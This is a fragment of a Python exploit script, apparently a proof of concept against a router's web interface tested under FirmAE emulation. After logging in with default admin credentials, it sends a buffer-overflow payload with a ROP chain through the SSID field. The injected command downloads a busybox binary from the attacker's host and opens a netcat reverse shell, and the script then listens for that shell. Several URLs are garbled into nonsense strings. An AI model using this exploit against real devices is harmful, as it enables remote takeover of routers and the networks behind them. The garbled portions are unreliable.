"55cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4", "Connection": "close", "Referer": "cdfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3L8r3!0Y4K9h3&6Q4x3X3g2Z5N6r3@1`." } data = { "topicurl": "setting/setUserLogin", "username": "admin", "userpass": "admin", "submit-url": "/login.htm" } requests.post(url, headers=headers, json=data)def attack(): io = remote('192.168.0.1',80) server_process = subprocess.Popen(['python', '-m', 'http.server']) sleep(2) logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.") logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.") logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cef000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.") #On this virtual device, the base address of ulibc is 0x77cef000. #If you are using FirmAE mode for verification, please disable ASLR #and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods. #To successfully execute the reverse shell payload, ensure that the busybox-mipsel # binary and the Python script are located in the same directory so that the targeted #machine can successfully download the file from the host. #Please ensure that your device and your host are on the same local network, with the #IP address of the target device being 192.168.0.1 and the host IP address #being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE. try: libc_base = 0x77cef000 system = libc_base + 0x00031930 ra = libc_base + 0x00014F70 s2 = libc_base + 0x00031D04 ra_ = libc_base + 0x00008084 s5 = system cmd = b'wget 09eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1J5i4K6y4m8z5o6l9H3x3q4)9J5c8X3u0#2M7%4W2T1L8%4S2Q4x3X3c8E0K9i4m8K6k6h3I4Q4x3@1u0K6L8r3g2W2M7l9`.`. 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00' payload_factory = b'submit-url=%2Fwlsecurity.htm\ &opmode_wizard=&staControlPrefer=0\ &staControlEnabled=0&80211v_enable_=disable\ &dot11k_=disable&SSID_Setting5=1\ &has_vwlan5=\ &wpaAuth5=psk\ &wpa11w5=none\ &wpa2EnableSHA2565=disable\ &ciphersuite5=aes\ &wpa2ciphersuite5=aes\ &wps_clear_configure_by_reg5=0\ &wlan_disabled5=0\ &wlan_ssid5=' payload_factory += b"a"*44+b"c"*4+b"b"*4+p32(s2)+b"b"*4+p32(ra)+b"a"*56+p32(s5)+p32(ra_)+b"x"*24+cmd payload_factory += b'&method5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2\ &key5=**************************&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812\ &radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=\ &radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1' payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n' payload += b'Host: 192.168.0.1\r\n' payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n' payload += b'Accept: */*\r\n' payload += b'Accept-Language: en-US,en;q=0.5\r\n' payload += b'Accept-Encoding: gzip, deflate\r\n' payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n' payload += b'X-Requested-With: XMLHttpRequest\r\n' payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8') payload += b'Origin: 75aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6g2o6M7W2)9#2b7$3&6Q4x3U0M7`. payload += b'Connection: close\r\n' payload += b'Referer: 2d9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3N6$3I4K6k6h3y4#2M7X3W2@1P5g2)9J5k6h3S2@1L8g2)9#2b7%4u0Q4y4f1y4F1i4K6g2o6M7W2)9#2b7$3&6Q4x3U0M7`. payload += payload_factory io.send(payload) io.close() result = subprocess.run(f'nc -lvnp 2333', shell=True) if result.returncode == 0: logging.info("Done") else: logging.error("Command execution failed.") except Exception as e: logging.error(f"An error occurred: {e}") finally: server_process.terminate()def main(): invokeformLogin() attack()if __name__ == "__main__": main() |
python ./exp.py
